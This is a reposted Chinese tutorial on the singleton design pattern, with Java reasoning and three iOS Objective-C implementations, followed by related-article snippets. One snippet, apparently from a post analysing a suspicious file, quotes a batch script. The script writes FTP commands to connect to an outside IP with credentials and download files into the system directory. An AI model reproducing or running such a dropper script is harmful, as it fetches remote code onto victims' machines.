【设计模式】五、单例模式(独一无二的对象)

一、概述:

有一些对象我们只需要一个,比方说:线程池(threadpool)、缓存(cache)、对话框、处理偏好设置和注册表对象、日志对象、充当打印机、显卡等设备的驱动程序的对象。事实上这些对象只需要一个实例,如果制造出多个实例就会导致很多问题发生。(利用静态类变量、静态方法和适当的访问修饰符的确也可以做到只存在一个实例。)

苏格拉底诱导式回答:(参考《Head First 设计模式》)

如何创建一个对象?new MyObject()
万一另外一个对象想创Myobject会怎样?可以再次new MyObject吗?是的,当然可以。
所以一旦有一个类,我们是否都能多次的实例化它?如果是公开的类 就可以
如果不是的话,会怎样?

如果不是公开的类,只有同一个包内的类可以实例化它,但是仍可以实例化它很多次

可以这么做吗?

public Myclass
{private Myclass(){}
}

 

 我没想过,但是这是合法的定义,有一定的道理。
 怎么说呢? 我认为含有私有的构造器类不能呗实例化。
 又可以使用私有的构造器对象吗? 恩,我想Myclass内的代码是唯一能调用此构造器的代码,但是这又不太合乎常理。
 WHY? 因为只有Myclass的实例才能调用Myclass的构造器,但是因为没有其他类能够实例化Myclass,所以我们得不到这样的实例。

 嘿,我有个想法。

你认为如何?

public Myclass
{public static MyClass getInstance(){}
}

MyClass有一个静态方法,我们可以这样调用这个方法:

MyClas.getInstance();

 
 为何调用的时候用MyCLass类名,而不是对象名。 因为getInstance是类方法,是一个静态方法,你需要使用类名。

 有意思,假如把这些合在一起“是否”就可以初始化一个MyClass?

public MyClass
{private MyClass(){}public static Myclass getInstance(){return new MyClass();}
}

 

当然可以 
 好了,你能想出第二种实例化对象的方式吗? MyClass.getInstance();
 你能够完成代码是MyClass只有一个实例被产生吗? 恩,大概可以吧。。。。

 

单例模式优点

  1. 正如前面说的,单例模式在内存中只有一个实例,减少了内存开支。特别是一个对象需要频繁的创建、销毁时,而创建与销毁的性能有无法优化,单例模式的优势就非常明显。
  2. 单例模式只生成一个实例,减少了系统性能开销,当一个对象的产生需要比较多的资源时,如读取配置、产生其他依赖对象时,则可以通过在应用启动时直接产生一个单例对象,然后永久驻留内存的方式来解决。
  3. 单例模式可以避免对资源的多重占用。
  4. 单例模式可以在系统设置全局的访问点,优化和共享资源访问。

单例模式缺点

  1. 单例模式一般没有接口,扩展很困难,除了修改代码基本上没有第二种途径实现。
  2. 单例模式对测试是不利的。在并行开发环境中,如果单例模式没有完成,是不能进行测试的。
  3. 单例模式与单一职责原则有冲突。

二、在IOS中的应用

单例模式在iOS开发中的使用还是蛮多的,许多FoundationCocoaUIKit中的类都实现了单例模式,比如应用程序本身UIApplication、文件操作类NSFileManager、消息中心NSNotificitonCenter等系统都已经给我们实现单例,我们只需要使用就好了。在iOS中使用单例模式要使用类方法,通过类方法返回该类的唯一对象。

在ios中的应用主要有以下三种方式

1、

static Singleton *instance = nil;+ (Singleton *)sharedInstance
{if (instance == nil) {instance = [[super allocWithZone:NULL] init];}return instance;
}+ (id)allocWithZone:(NSZone *)zone
{return [[self sharedInstance] retain];
}- (id)copyWithZone:(NSZone *)zone
{return self;
}- (id)retain
{return self;
}- (NSUInteger)retainCount
{return NSUIntegerMax;  //denotes an object that cannot be released
}- (void)release
{//do nothing
}- (id)autorelease
{return self;
}

可以看到这种方式,使用静态成员维持了一个永久存在的对象,而且覆盖了alloc方法(alloc方法会调用allocWithZone:方法),并且也覆盖了所有与引用技术有关的方法,这都使这个对象不会被销毁。这样看上去基本实现了我们需要的,但是写起来麻烦不说,还有很大的一个问题,那就是多线程问题,如果是在多线程中那么该种方法就不能保证只产生一个对象了。所以这种方式只是介绍一下,并不推荐使用。

2、引入头文件

程序员都是偷懒的,现在流行使用一个宏定义来搞定这许多的事,而且考虑的更加周全。

单例包含以下接口 

+ (MyClass*) sharedInstance; 
+ (void) purgeSharedInstance;

调用sharedInstance会创建并返回单例

调用purgeSharedInstance会销毁单例

手动调用alloc也可以保证是单例,你可以这样调用

[[MyClass alloc] initWithParam:firstParam secondParam:secondParam];

只是要保证在sharedInstance之前调用,因为只有一次创建机会。

下面是使用宏的写法“ 

MyClass.h: 
======================================== #import "SynthesizeSingleton.h" @interface MyClass: SomeSuperclass { ... } SYNTHESIZE_SINGLETON_FOR_CLASS_HEADER(MyClass); @end 
======================================== MyClass.m: 
======================================== #import "MyClass.h" @implementation MyClass SYNTHESIZE_SINGLETON_FOR_CLASS(MyClass); ... @end 
========================================

开源库下载地址

3、

iOS在4.0以后推出了blockGCD,这两个特性给iOS开发带来的很大的便利,也使开发变得更加趣味话。那么如何通过GCD+block来实现单例模式呢,这主要归功于dispatch_once(dispatch_once_t *predicate, ^(void)block)这个GCD的函数,他有两个参数第一参数是一个指向dispatch_once_t类型结构体的指针,用来测试block是否执行完成,该指针所指向的结构体必须是全局的或者静态的,第二个参数是一个返回值与参数均为空的block,在block体中进行对象的初始化即可。dispatch_once在程序的生命周期中保证只会被调用一次,所以在多线程中也不会有问题。 该种方法使用方法:

 

+ (Singleton *)sharedInstance
{static Singleton *instance = nil;static dispatch_once_t onceToken;dispatch_once(&onceToken, ^{instance = [[Singleton alloc]init];});return instance;
}


dispatch_once的作用就是执行且在整个程序的声明周期中,仅执行一次某一个block对象。简直就是为单例而生的嘛。而且,有些我们需要在程序开头初始化的动作,如果为了保证其,仅执行一次,也可以放到这个dispatch_once来执行。

然后我们看到它需要一个断言来确定这个代码块是否执行,这个断言的指针要保存起来,相对于第一种方法而言,还需要多保存一个指针。

 

方法简介中就说的很清楚了:对于在应用中创建一个初始化一个全局的数据对象(单例模式),这个函数很有用。

如果同时在多线程中调用它,这个函数将等待同步等待,直至该block调用结束。

这个断言的指针必须要全局化的保存,或者放在静态区内。使用存放在自动分配区域或者动态区域的断言,dispatch_once执行的结果是不可预知的。

 

总结:1.这个方法可以在创建单例或者某些初始化动作时使用,以保证其唯一性。2.该方法是线程安全的,所以请放心大胆的在子线程中使用。(前提是你的dispatch_once_t onceToken

对象必须是全局或者静态对象。这一点很重要,如果不能保证这一点,也就不能保证该方法只会被执行一次。)

 


参考博客:

水滴石穿 Keeping faith.      --- wtlucky's Blog

 

转载于:https://www.cnblogs.com/ymonke/p/3513668.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/408189.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++变长参数模板

C变长参数模板 C11 加入了新的表示方法: 允许任意个数、任意类别的模板参数&#xff0c;同时也不需要在定义时将参数的个数固定。 template<typename... Ts> class Magic;模板类 Magic 的对象&#xff0c;能够接受不受限制个数的 typename 作为模板的形式参数&#xff…

数据库设计方法、规范与技巧

本文链接&#xff1a;http://www.openphp.cn/index.php/art.../100/index.html  一、数据库设计过程  数据库技术是信息资源管理最有效的手段。数据库设计是指对于一个给定的应用环境&#xff0c;构造最优的数据库模式&#xff0c;建立数据库及其应用系统&#xff0c;有效存…

C++并行与并发

第 7 章 并行与并发 文章目录第 7 章 并行与并发7.1 并行基础7.2 互斥量与临界区7.3 期物7.4 条件变量7.5 原子操作与内存模型原子操作一致性模型内存顺序总结习题进一步阅读的参考资料7.1 并行基础 std::thread 用于创建一个执行的线程实例&#xff0c;所以它是一切并发编程的…

java 中String ,Date,long 和Timestamp类型的转换

一、String与Date(java.util.Date)的转换 1、String--->Date String str"2014/1/11 12:34:25"; Date datenew Date(); DateFormat sdf new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); //这里规定时间的格式要与String时间类型的格式相同 datesdf.pars…

BlackBerry 应用程序开发者指南 第一卷:基础--第5章 支持的媒体内容(Media Content)...

作者:Confach 发表于April 23,2006 15:02 pm版权信息:可以任意转载, 转载时请务必以超链接形式标明文章原始出处 和作者信息.http://www.cnblogs.com/confach/articles/387902.html5第5章 支持的媒体内容&#xff08;Media Content&#xff09;PME内容 播放媒体内容 监听媒体内…

Qt 入门 ---- 如何在程序窗口显示图片?

步骤&#xff1a; 1. 选择资源&#xff08;准备图片&#xff09; 2. 加载资源&#xff08;导入图片&#xff09; 3. 使用资源&#xff08;显示图片&#xff09; 具体操作流程&#xff1a; ① 从网上寻找合适的图片素材&#xff0c;下载到本地&#xff0c;在项目根目录下创建一个…

Enterprise Library 2.0 技巧(3):记录ASP.NET站点中未处理的异常

这篇文章不能算是Enterprise Library 2.0的一个技巧&#xff0c;只是Logging Application Block的一个简单应用而已&#xff0c;在这里我们使用Logging Application Block来记录一个ASP.NET 2.0站点中未处理的异常到数据库中&#xff0c;当然你也可以记录到文本文件中&#xff…

Hadoop 2.2.0源码浏览:4. NodeManager

基本流程public static void main(String[] args) {Thread.setDefaultUncaughtExceptionHandler(new YarnUncaughtExceptionHandler());StringUtils.startupShutdownMessage(NodeManager.class, args, LOG);NodeManager nodeManager new NodeManager();Configuration conf ne…

C++自定义对象如何支持Range-based循环语法

自定义对象如何支持Range-based循环语法 至少实现以下两种语法: //返回第一个迭代子的位置 Iterator begin() //返回最后一个迭代子的下一个位置 Iterator end()迭代子需要支持如下三种方法: operator(自增)operator! (判不等)operator* (解引用) #include <iostream>…

帮朋友分析一个文件

文件中的内容如下&#xff1a; echo 61.176.204.145 >%systemroot%system32local.txt echo open 218.85.95.9 323>>%temp%ftp.txt echo sys>>%temp%ftp.txt echo dragoon>>%temp%ftp.txt echo bin>>%temp%ftp.txt echo lcd %systemroot%system…

SharePoint 2013 本地开发解决方案以及程调试

SharePoint 2013 本地开发解决方案以及程调试 在SharePoint开发中&#xff0c;我们需要在部署有SharePoint环境的服务器中开发&#xff0c;这是一件让人很苦恼的事情&#xff0c;毕竟不能一个项目多人开发配备多台服务器&#xff0c;这就需要本地开发。 本来自己以为SharePoint…

Linux与C++11多线程编程(学习笔记)

多线程编程与资源同步 在Windows下,主线程退出后,子线程也会被关闭; 在Linux下,主线程退出后,系统不会关闭子线程,这样就产生了僵尸进程 3.2.1创建线程 Linux 线程的创建 #include <unistd.h> #include <stdio.h> #include <pthread.h> void* threadfunc(…

TCP网络编程的基本流程

TCP网络编程的基本流程 对于服务端,通常为以下流程: 调用socket函数创建socket调用bind函数将socket绑定到某个IP和端口上调用listen开始监听当有客户端请求连接上来时,调用accept函数接受连接,产生一个新的socket基于新产生的socket调用send或recv函数,开始与客户端进行数据…